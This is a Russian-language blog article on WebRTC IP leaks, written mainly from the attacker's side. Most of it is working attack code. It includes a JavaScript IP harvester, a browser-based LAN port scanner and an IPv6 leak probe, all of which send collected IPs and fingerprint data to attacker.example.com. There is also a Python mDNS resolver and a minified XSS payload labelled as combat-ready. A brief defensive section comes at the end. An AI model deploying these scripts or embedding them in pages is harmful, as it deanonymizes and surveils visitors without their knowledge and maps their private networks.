WebRTC Leaks и атаки на P2P: как деанонимизировать пользователя через браузер
WebRTC (Web Real-Time Communication) — это браузерный стандарт для голосовых и видеозвонков, передачи данных прямо между браузерами без плагинов. Но за этим удобством скрывается фундаментальная проблема: протокол раскрывает реальный IP-адрес пользователя, даже если тот сидит за VPN. Разбираем механику до байта и показываем, как это использовать в атаке.
Архитектура WebRTC: где зарыта бомба
WebRTC для установки P2P-соединения использует несколько протоколов поверх UDP:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
Браузер A Браузер B │ │ │◄──── Signaling Server ──────────►│ │ (WebSocket/HTTP обмен SDP) │ │ │ │──── STUN Server ────────────────►│ │ "Кто я такой с точки зрения │ │ интернета? Какой у меня IP?" │ │◄────────────────────────────────│ │ Ответ: 85.143.22.17 (реальный │ │ публичный IP) + 192.168.1.5 │ │ (локальный IP) │ │ │ │────────── ICE Candidates ───────►│ │ { ip: "85.143.22.17:50123", │ │ ip: "192.168.1.5:50123" } │ └─────── Direct P2P UDP ──────────┘ |
| Протокол | Роль | Почему это проблема |
|---|---|---|
| STUN | Определяет публичный IP через NAT | Запрос идёт напрямую, минуя VPN-туннель |
| TURN | Relay-сервер если P2P не работает | Лог реального IP на сервере |
| ICE | Находит лучший путь соединения | Собирает ВСЕ IP-кандидаты — и реальный, и VPN, и локальный |
| SDP | Описание медиа-сессии | Содержит IP в открытом виде |
Суть атаки: JavaScript на странице может создать RTCPeerConnection и принудительно запросить ICE candidates. STUN-запрос летит напрямую через реальный сетевой интерфейс, обходя VPN-маршрут, потому что браузер обрабатывает его на уровне ОС.
Вектор атаки #1: WebRTC IP Leak через одну строку JS
Это самый простой и самый известный способ деанонимизации. Достаточно одного скрипта на странице:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
// === WebRTC IP Harvester === // Собирает все IP-адреса: реальный публичный, локальные, VPN-интерфейс async function harvestIPs() { const ips = new Set(); // Создаём фиктивное P2P соединение const pc = new RTCPeerConnection({ iceServers: [ { urls: "stun:stun.l.google.com:19302" }, // Google STUN { urls: "stun:stun1.l.google.com:19302" }, // резерв { urls: "stun:stun.cloudflare.com:3478" }, // Cloudflare STUN ] }); // Фиктивный data channel — без него ICE не запустится pc.createDataChannel(""); // Ловим ICE candidates — каждый содержит IP pc.onicecandidate = (event) => { if (!event.candidate) return; // конец сбора const candidate = event.candidate.candidate; console.log("[RAW ICE]:", candidate); // Парсим IP из строки candidate // Формат: "candidate:... IP PORT typ host/srflx/relay ..." const ipRegex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/g; const found = candidate.match(ipRegex); if (found) { found.forEach(ip => { // Фильтруем мусор if (!ip.startsWith("0.") && ip !== "0.0.0.0") { ips.add(ip); categorizeIP(ip); } }); } }; // Запускаем offer — это триггер для сбора ICE const offer = await pc.createOffer(); await pc.setLocalDescription(offer); // Ждём завершения сбора (или таймаут) await new Promise(resolve => { pc.onicegatheringstatechange = () => { if (pc.iceGatheringState === "complete") resolve(); }; setTimeout(resolve, 3000); // таймаут 3 сек }); pc.close(); return Array.from(ips); } function categorizeIP(ip) { if (ip.startsWith("10.") || ip.startsWith("192.168.") || ip.startsWith("172.16.") || ip.match(/^172\.(1[6-9]|2\d|3[01])\./)) { console.log(`[LOCAL/LAN] ${ip} ← маршрутизатор, внутренняя сеть`); } else if (ip.includes(":")) { console.log(`[IPv6] ${ip} ← может раскрыть провайдера`); } else { console.log(`[PUBLIC IP] ${ip} ← ЭТО И ЕСТЬ РЕАЛЬНЫЙ АДРЕС ЖЕРТВЫ`); } } // Запуск — никаких разрешений от пользователя не требуется! harvestIPs().then(ips => { console.log("\n[=] Собранные IP:", ips); // Отправляем на сервер атакующего fetch("https://attacker.example.com/collect", { method: "POST", body: JSON.stringify({ ips, userAgent: navigator.userAgent, timestamp: Date.now(), url: window.location.href }), headers: { "Content-Type": "application/json" } }); }); |
⚠️ Что это даёт: если жертва за VPN, ты увидишь ДВА IP — VPN-адрес (как
srflxcandidate) и реальный публичный IP провайдера (как прямойhostcandidate). Разрешения на камеру/микрофон — не нужны.
Вектор атаки #2: Сбор локальных IP для сканирования сети
Помимо публичного IP, WebRTC сливает локальные IP-адреса — это открывает дорогу к сканированию внутренней сети жертвы прямо из браузера:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
// === WebRTC Internal Network Scanner === // Шаг 1: Узнаём подсеть жертвы через WebRTC // Шаг 2: Сканируем хосты через fetch/WebSocket async function getLocalSubnet() { const ips = await harvestIPs(); // функция из примера выше // Ищем локальный IP вида 192.168.X.X const localIP = ips.find(ip => ip.startsWith("192.168.") || ip.startsWith("10.") ); if (!localIP) return null; // Извлекаем подсеть: 192.168.1.5 → 192.168.1 const subnet = localIP.split(".").slice(0, 3).join("."); console.log(`[*] Подсеть жертвы: ${subnet}.0/24`); return subnet; } async function scanSubnet(subnet, ports = [80, 443, 8080, 8443, 22, 3389]) { console.log(`[*] Сканируем ${subnet}.1-254...`); const alive = []; const probeHost = (ip, port) => { return new Promise(resolve => { const start = Date.now(); // Метод 1: WebSocket probe const ws = new WebSocket(`ws://${ip}:${port}`); ws.onopen = () => { alive.push({ ip, port, latency: Date.now() - start }); console.log(`[+] ALIVE: ${ip}:${port}`); ws.close(); resolve(true); }; ws.onerror = () => { // Ошибка тоже означает, что хост ответил (отказал в подключении) const latency = Date.now() - start; if (latency < 100) { // быстрый отказ = хост жив alive.push({ ip, port: null, latency }); console.log(`[+] HOST ALIVE (port closed): ${ip}`); } resolve(false); }; // Таймаут для мёртвых хостов setTimeout(() => { ws.close(); resolve(false); }, 1500); }); }; // Параллельное сканирование (батчами по 20) for (let i = 1; i <= 254; i++) { const ip = `${subnet}.${i}`; const batch = ports.map(port => probeHost(ip, port)); await Promise.all(batch); // Небольшая пауза чтоб не перегрузить if (i % 20 === 0) await new Promise(r => setTimeout(r, 100)); } return alive; } // === Полный запуск атаки === async function fullAttack() { const subnet = await getLocalSubnet(); if (!subnet) { console.log("[-] Не удалось определить подсеть"); return; } const hosts = await scanSubnet(subnet); // Отправляем карту сети атакующему fetch("https://attacker.example.com/network-map", { method: "POST", body: JSON.stringify({ subnet, hosts }), headers: { "Content-Type": "application/json" } }); console.log(`[=] Найдено хостов: ${hosts.length}`); } |
Вектор атаки #3: Деанон через IPv6
Многие VPN-провайдеры туннелируют только IPv4-трафик, забывая про IPv6. WebRTC честно сообщит IPv6-адрес, который напрямую привязан к провайдеру жертвы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
// Специфичный детектор IPv6-утечки async function detectIPv6Leak() { const pc = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] }); pc.createDataChannel("ipv6probe"); const candidates = []; pc.onicecandidate = ({ candidate }) => { if (!candidate) return; const raw = candidate.candidate; // IPv6 паттерн const ipv6Match = raw.match(/([a-f0-9:]{3,39})/g); if (ipv6Match) { ipv6Match.forEach(addr => { if (addr.includes(":") && !addr.startsWith("::1")) { console.log(`[IPv6 LEAK] ${addr}`); // fe80::... — link-local (LAN) // 2001:... — глобальный, раскрывает провайдера! if (addr.startsWith("2") || addr.startsWith("3")) { console.log(` ↳ ГЛОБАЛЬНЫЙ IPv6! Провайдер деанонимизирован.`); } candidates.push(addr); } }); } }; await pc.createOffer().then(o => pc.setLocalDescription(o)); await new Promise(r => setTimeout(r, 2000)); pc.close(); return candidates; } |
Вектор атаки #4: mDNS-обфускация и её обход
Начиная с Chrome 81+, браузер скрывает локальные IP, заменяя их на mDNS-имена вида xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.local. Но это не конец:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
# === mDNS UUID → реальный IP (обход Chrome mDNS-обфускации) === # Метод: если атакующий находится в той же локальной сети (кафе, офис, # корпоративная сеть) — mDNS резолвится напрямую import socket import struct def resolve_mdns(mdns_name: str, timeout: float = 2.0) -> str | None: """ Резолвим .local имя через mDNS (multicast DNS, порт 5353) Работает если атакующий в той же L2-сети, что и жертва """ MDNS_ADDR = "224.0.0.251" MDNS_PORT = 5353 # Формируем DNS query def build_mdns_query(name: str) -> bytes: # Header: ID=0, QR=0, OPCODE=0, RD=0 header = b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" # Encode name: split by dots, each part with length prefix parts = name.rstrip(".").split(".") encoded = b"" for part in parts: encoded += bytes([len(part)]) + part.encode() encoded += b"\x00" # root # QTYPE=A (1), QCLASS=IN (1) question = encoded + b"\x00\x01\x00\x01" return header + question sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(timeout) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: query = build_mdns_query(mdns_name) sock.sendto(query, (MDNS_ADDR, MDNS_PORT)) # Слушаем ответ data, addr = sock.recvfrom(1024) # Парсим IP из ответа (последние 4 байта = IPv4) if len(data) > 4: ip_bytes = data[-4:] ip = socket.inet_ntoa(ip_bytes) print(f"[+] {mdns_name} → {ip} (от {addr[0]})") return ip except socket.timeout: print(f"[-] Таймаут для {mdns_name}") finally: sock.close() return None # Пример: UUID получен из ICE candidate жертвы mdns_uuid = "3b2a1f0e-cafe-dead-beef-123456789abc.local" real_ip = resolve_mdns(mdns_uuid) |
Автоматизированный дроп: встраиваем в XSS-пейлоад
Собираем всё воедино — боевой пейлоад для XSS/вредоносной страницы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<!-- Минифицированный WebRTC deaner, встраиваемый в XSS --> <script> (async()=>{ const C2="https://attacker.example.com/beacon"; const r=new RTCPeerConnection({iceServers:[{urls:"stun:stun.l.google.com:19302"}]}); r.createDataChannel(""); const ips=[]; r.onicecandidate=e=>{ if(e.candidate){ const m=e.candidate.candidate.match(/[\d.]{7,15}|[a-f0-9:]{6,}/g)||[]; m.forEach(i=>{if(i!=="0.0.0.0")ips.push(i)}); } }; await r.createOffer().then(o=>r.setLocalDescription(o)); await new Promise(res=>setTimeout(res,2500)); r.close(); navigator.sendBeacon(C2, JSON.stringify({ ips, ua:navigator.userAgent, lang:navigator.language, tz:Intl.DateTimeFormat().resolvedOptions().timeZone, scr:`${screen.width}x${screen.height}`, ref:document.referrer, url:location.href })); })(); </script> |
navigator.sendBeacon— отправляет данные даже при закрытии вкладки, гарантируя доставку.
Как защититься: для синего
Браузерный уровень:
- Firefox:
about:config→media.peerconnection.enabled = false - Chrome: расширение WebRTC Leak Prevent или uBlock Origin (включить блокировку WebRTC)
- Tor Browser: WebRTC отключён по умолчанию
VPN/Proxy уровень:
- Хороший VPN должен блокировать WebRTC на уровне браузерного расширения
- Проверяй себя на:
https://browserleaks.com/webrtcилиhttps://ipleak.net
Для разработчиков приложений:
|
1 2 3 4 5 6 7 |
// Content Security Policy для блокировки внешних STUN-запросов // Добавить в HTTP-заголовки сервера: // Content-Security-Policy: connect-src 'self'; media-src 'self' // Или через Permissions Policy: // Permissions-Policy: microphone=(), camera=() // Это не блокирует RTCPeerConnection напрямую, но ограничивает контекст |
Матрица угроз
| Атака | Нужно разрешение | Работает за VPN | Детектируется |
|---|---|---|---|
| Public IP Leak (STUN) | ❌ Нет | ✅ Да | Только спец. тест |
| Local IP Harvest | ❌ Нет | ✅ Да | Нет |
| IPv6 Leak | ❌ Нет | ✅ Да (часто) | Только спец. тест |
| LAN Port Scan (WS) | ❌ Нет | ✅ Да | Нет |
| mDNS UUID → IP | ❌ Нет | ✅ Да (L2 доступ) | Нет |
WebRTC — это редкий случай, когда «фича» протокола является уязвимостью по дизайну. STUN должен знать твой реальный IP, чтобы работать — именно поэтому заплатку сюда не поставить: это не баг, это архитектура. Единственная реальная защита — отключить WebRTC полностью или использовать браузер с нативной изоляцией (Tor, Brave с режимом агрессивной защиты).

На этом все. Всем хорошего дня!
